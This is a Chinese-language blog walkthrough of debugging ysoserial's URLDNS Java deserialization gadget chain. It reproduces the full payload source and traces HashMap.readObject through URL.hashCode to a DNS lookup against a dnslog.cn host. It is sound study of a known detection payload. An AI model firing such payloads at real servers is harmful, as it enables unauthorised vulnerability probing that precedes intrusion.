ysoserial之URLDNS调试

# 利用链简述

  1. 触发结果为一次 DNS 请求,适用目标无回显情况
  2. 使用 java 内置类构造,无第三方库依赖

# URLDNS 利用代码

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
package ysoserial.payloads;

import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;

import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;


/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.

Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.

return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}

/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

链接:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

# 调试分析

项目链接:https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar

打开 idea,找到 URLDNS 入口:ysosertial->src->main->java->ysoserial->payloads->URLDNS.java->main ()

# 运行尝试

直接运行 main 函数,发现默认传入的命令为 calc.exe

报错:URL 初始化失败,找不到 calc.exe 协议

最后一行报错信息指向 main 函数,倒数第二行报错信息指向 PayloadRunner

说明为传入参数 args 有误,应为 URL,也是我们要发送请求的地址

打开 dnslog,获取到地址为:ghtzjz.dnslog.cn

编辑传入参数,http://ghtzjz.dnslog.cn

再次运行 main (),payload 为我们传入的参数

刷新 dnslog 的请求记录,发现接收到了请求,利用成功

# 代码调试

我们从 main 函数一步一步调试,会发现 URLDNS 在 main 中调用 PayloadRunner#run ()

然后 PayloadRunner#run () 中调用 URLDNS#getObject ()

URLDNS#getObject () 中的 HashMap ht 就是我们要生成的(未序列化)payload

getObeject 方法中,创建了一个 URL 对象(存储我们输入的 dns 地址)–> 再将 URL 对象放入 HashMap 中

下面一行的注释写道,在上面的 put 过程中,计算并缓存了 URL 的 hashCode; 这将重置它,以便下次调用 hashCode 时将触发 DNS 查找

那么在 ht.put 时,我们进入 HashMap 查看,发现 key 进行了 hash 计算

(这里插播一条小道消息,点击这个调试可以返回上一步)

在这里就是我们的 URL 对象进行了 hash 计算

hash 计算前的 URL 对象:

hash 计算后的对象(就是对象中的 hashCode 变量发生了变化嘛):

进入下一行代码,Reflections.setFieldValue 是什么呢?

看名字就是一个通过反射设置成员变量值的功能😀

进入函数内部,是要设置传入对象的成员变量 hashCode 的值

查看变量值,传入对象是包含 payload 的 URL 对象,要将它的 hashCode 值设置为 - 1

执行完这行代码,发现变量 u 和 ht 中存储的 URL 对象的 hashCode 值都变为 - 1 了

然后返回 ht,也就是更改过存储 key 的 hashCode 值的 HashMap

再次进入 PalodRunner#run,返回的 HashMap 赋值给 objBefore,再将其序列化赋值给 ser

Utils.releasePayload (payload, objBefore) 应该是释放资源的代码(不用在意,和最后返回值无关)

最后返回 ser,即将 ser 值赋给变量 serialized,所以 serialized 就是序列化后的 payload

终于!开始反序列化触发漏洞了!

从这里进入反序列化函数

代码注释中说明,利用链从 HashMap#readObject () 进入,直到进入 URL#hashCode () 触发 DNS 请求

Gadget Chain:

  • HashMap.readObject()
    
  • HashMap.putVal()
    
  • HashMap.hash()
    
  • URL.hashCode()
    

那我们就一直点点点直接看见 readObject

好了过了没看见嘤嘤嘤

直接去 Hash#readObject 处下个断点

往下翻翻就会看见一段代码,又看见了熟悉的单词,hash

根据利用链我们可知触发漏洞的 hashCode () 就在 hash () 中,我们进入该函数

到达 URL#hashCode,果然其中有 key.hashCode ()

因为我们在构造 payload 时将 hashCode 赋值为 - 1,所以不会进入 if 而是执行下面的代码

调用 URLStreamHandler#hashCode

进入 URLStreamHandler#hashCode

根据 p 神的文章所言,getHostAddress 中有一行代码

InetAddress.getByName(host) ;

其作⽤是根据主机名,获取其 IP 地址,在⽹络上其实就是⼀次 DNS 查询,整个触发过程就已经完成啦

后面继续跟进就是地址的具体查询过程了,无了无了

下图是漏洞触发的调用栈

# 总结

payload 构造

将我们输入的 dns 地址存储在 URL 对象中 -> 将 URL 对象作为 key 存储在 HashMap 中 -> 由于作为 key 值,在 put 时会进行 hash 计算,那我们就通过反射更改其 hashCode 值为 - 1

漏洞触发

反序列化 HashMap 时,会调用 hash () 计算 key 的 hash 值 -> 计算时,调用 (URL 对象) key#hashCode () -> 由于我们将该对象的 hashCode 值设置为 - 1,所以会调用 handler.hashCode () -> 其中获取地址的代码, InetAddress addr = getHostAddress(u); 实际上就是一次 DNS 查询

小彩蛋

在构造 payload,ht.put () 时,由于 URL 的 hashCode 值为 - 1,所以同样会调用 handler.hashCode () 触发 DNS 查询,可是为什么我们只能获取到一条 dns 查询记录,而不是两条呢?

直接在 DNS 查询处下断点

生成 payload 时,进入 URLStreamHandler#hashCode 查看当前变量

反序列化时,进入 URLStreamHandler#hashCode 查看当前变量

可以发现获取到的 addr 有值了,为 域名/127.0.0.1

那么同样是将 http://ysmzza.dnslog.cn 传入 getHostAddress(u) 得到的结果却不一样呢?

那么我们再进入 getHostAddress(u) 进行对比

构造 payload 进入 getHostAddress(u) 时,如下图

这里调用的 SilentURLStreamHandler#getHostAddress 直接返回的 null

注释:

这个 URLStreamHandler 实例用于在创建 URL 实例时避免任何 DNS 解析。 DNS 解析用于漏洞检测。重要的是不要在使用序列化对象之前探测给定的 URL。潜在的误报:如果首先从测试计算机解析 DNS 名称,则目标服务器可能会获得缓存击中第二个决议。

而在我们反序列化后进入 getHostAddress(u) ,URL 对象中的 handler 就是默认的 handler 了,因而会触发 DNS 查询

所以 POC 中定义 URLStreamHandler 内部类,避免生成 paayload 时进行 DNS 解析(其实看注释就能看到,但我一开没有看到这里的代码 (๑・́ωก̀๑) )

小问题

  1. 漏洞是通过 URLStreamHandler#hashCode 触发的,那么这个 handler 是啥玩意?

  2. new URL 对象时,一定要传入 handler 才能触发漏洞吗?如果不传入 handler,程序还能正常运行吗?(因为 HashMap#put 时会调用 URLStreamHandler#hashCode)会有默认的 handler 给我们调用吗?

查查 API

抽象类 URLStreamHandler 是所有流协议处理程序的通用类,流协议处理程序知道如何为特定协议类型建立连接,如 httphttps

在大多数情况下, URLStreamHandler 子类的实例不是由应用程序直接创建的。 更确切地说,在第一时间构建时的协议名称遇到 URL ,适当的流协议处理程序被自动加载。

所以流协议程序用于为协议建立连接,并构建时的协议名称遇见 URL 时,适当的流协议处理程序被自动加载

所以其实不传入 handler,URL 对象也会自动加载 handler

由小彩蛋的内容可知传入自定义的 handler 只是为了在生成 payload 时不进行 dns 解析

# 调试遇到的问题(未解决)

在尝试代码调试时,发现无法启用 debug

看第一行,运行的是 jdk8_32,而我的 idea 是 64 位的,估计是不一致导致的问题(以前经常碰见 tomcat 和 jdk 不一致导致的问题)

在上方菜单栏 file->project structure 中可以设置 jdk 版本,更改为 64 位 jdk

然后就会报错,程序包 sun.rmi.server 不存在

但是在使用 jdk8 运行程序时并没有该错误,ctrl+click 点击进入报错程序包,是可以找到在 java 原生库中的

也就是说在编译程序的 classpath 中没有包含’sun.rmi.server’这个包

我的直觉告诉我是版本的问题,可是上图中 jdk11 的包里面也有这个包的并且已经引入项目中了

所以我换回 jdk8_32,查看 jar 包的区别

jdk8:

jdk11:

难道这个世界有些东西我真的,难以探寻吗,这真的就是我的极限了吗,不,我要去百度!!百度救我!!!

这里发现,jdk11 不再提供 corba 工具,rmic (RMI 编辑器) 不再支持 - idl 或 - iiop 选项。

可是 java11 的 api 里面是有 rmi 的🙁

果然换成 jdk8_64 所有问题迎刃而解,那么这个问题…

当然不能算解决了,未完待续!

Copyright ©milkii0